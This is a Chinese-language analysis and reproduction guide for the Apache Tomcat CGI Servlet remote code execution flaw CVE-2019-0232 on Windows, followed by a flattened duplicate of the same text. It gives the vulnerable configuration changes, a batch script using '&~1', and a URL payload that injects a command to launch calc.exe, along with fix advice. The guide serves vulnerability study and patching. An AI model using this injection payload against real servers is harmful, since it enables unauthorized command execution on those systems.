Tomcat远程代码执行(CVE-2019-0232)
字数 1401 2025-08-11 17:40:32

Apache Tomcat远程代码执行漏洞(CVE-2019-0232)深度分析与复现指南

一、漏洞概述

漏洞编号: CVE-2019-0232
发布日期: 2019年4月13日
影响组件: Apache Tomcat中的CGI Servlet
漏洞类型: 远程代码执行(RCE)
平台限制: 仅影响Windows平台

二、漏洞原理

该漏洞源于CGI Servlet在Windows平台上的参数传递机制存在缺陷:

  1. 当参数从JRE传递到Windows环境时,输入验证不充分
  2. 攻击者可构造恶意请求注入操作系统命令
  3. 命令将在Apache Tomcat权限上下文中执行

三、受影响版本

  • Tomcat 9.x系列: 9.0.0.M1 ~ 9.0.17
  • Tomcat 8.5.x系列: 8.5.0 ~ 8.5.39
  • Tomcat 7.x系列: 7.0.0 ~ 7.0.93

四、漏洞触发条件

  1. 操作系统: Windows平台
  2. 配置要求:
    • CGI Servlet已启用(默认关闭)
    • enableCmdLineArguments参数设置为true(Tomcat 9.0.*及以后版本默认关闭)

五、环境搭建与复现

1. 环境准备

测试版本: Apache Tomcat 9.0.13
下载地址: https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/

2. 基础配置

  1. 下载安装包后,进入bin目录执行startup.bat启动Tomcat
  2. 访问http://localhost:8080/确认服务正常运行

3. 漏洞相关配置修改

(1) 修改conf/web.xml

找到CGIServlet部分,进行以下修改:

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
        <param-name>cgiPathPrefix</param-name>
        <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
    </init-param>
    <init-param>
        <param-name>executable</param-name>
        <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

同时取消以下映射的注释:

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

(2) 修改conf/context.xml

<Context>标签中添加privileged="true"属性:

<Context privileged="true">
    ...
</Context>

4. 创建CGI脚本

  1. webapps/ROOT/WEB-INF/目录下创建cgi-bin文件夹
  2. cgi-bin中创建hello.bat文件,内容如下:
@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

5. 重启Tomcat服务

执行shutdown.bat后再次执行startup.bat重启服务

6. 漏洞验证

使用以下payload触发漏洞:

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

预期结果: Windows计算器程序被成功启动

六、修复建议

  1. 立即措施:

    • conf/web.xml中设置<param-name>enableCmdLineArguments</param-name><param-value>false</param-value>
    • 实现更严格的参数合法性检验规则
  2. 长期方案:

    • 升级到安全版本:
      • Tomcat 9.0.18+
      • Tomcat 8.5.40+
      • Tomcat 7.0.94+
  3. 其他建议:

    • 如无需CGI功能,完全禁用CGI Servlet
    • 限制Tomcat运行账户的权限

七、技术细节

  1. 漏洞利用关键点在于Windows命令行参数处理方式
  2. &~1语法用于提取并执行传递的参数
  3. URL编码确保特殊字符正确传递
  4. 需要privileged="true"设置以获得足够权限执行系统命令

八、参考资源

  1. Apache Tomcat官方安全公告
  2. NVD漏洞数据库条目
  3. 相关安全研究报告
Apache Tomcat远程代码执行漏洞(CVE-2019-0232)深度分析与复现指南 一、漏洞概述 漏洞编号 : CVE-2019-0232 发布日期 : 2019年4月13日 影响组件 : Apache Tomcat中的CGI Servlet 漏洞类型 : 远程代码执行(RCE) 平台限制 : 仅影响Windows平台 二、漏洞原理 该漏洞源于CGI Servlet在Windows平台上的参数传递机制存在缺陷: 当参数从JRE传递到Windows环境时,输入验证不充分 攻击者可构造恶意请求注入操作系统命令 命令将在Apache Tomcat权限上下文中执行 三、受影响版本 Tomcat 9.x系列 : 9.0.0.M1 ~ 9.0.17 Tomcat 8.5.x系列 : 8.5.0 ~ 8.5.39 Tomcat 7.x系列 : 7.0.0 ~ 7.0.93 四、漏洞触发条件 操作系统 : Windows平台 配置要求 : CGI Servlet已启用(默认关闭) enableCmdLineArguments参数设置为true(Tomcat 9.0.* 及以后版本默认关闭) 五、环境搭建与复现 1. 环境准备 测试版本 : Apache Tomcat 9.0.13 下载地址 : https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/ 2. 基础配置 下载安装包后,进入bin目录执行 startup.bat 启动Tomcat 访问 http://localhost:8080/ 确认服务正常运行 3. 漏洞相关配置修改 (1) 修改 conf/web.xml 找到CGIServlet部分,进行以下修改: 同时取消以下映射的注释: (2) 修改 conf/context.xml 在 <Context> 标签中添加 privileged="true" 属性: 4. 创建CGI脚本 在 webapps/ROOT/WEB-INF/ 目录下创建 cgi-bin 文件夹 在 cgi-bin 中创建 hello.bat 文件,内容如下: 5. 重启Tomcat服务 执行 shutdown.bat 后再次执行 startup.bat 重启服务 6. 漏洞验证 使用以下payload触发漏洞: 预期结果 : Windows计算器程序被成功启动 六、修复建议 立即措施 : 在 conf/web.xml 中设置 <param-name>enableCmdLineArguments</param-name><param-value>false</param-value> 实现更严格的参数合法性检验规则 长期方案 : 升级到安全版本: Tomcat 9.0.18+ Tomcat 8.5.40+ Tomcat 7.0.94+ 其他建议 : 如无需CGI功能,完全禁用CGI Servlet 限制Tomcat运行账户的权限 七、技术细节 漏洞利用关键点在于Windows命令行参数处理方式 &~1 语法用于提取并执行传递的参数 URL编码确保特殊字符正确传递 需要 privileged="true" 设置以获得足够权限执行系统命令 八、参考资源 Apache Tomcat官方安全公告 NVD漏洞数据库条目 相关安全研究报告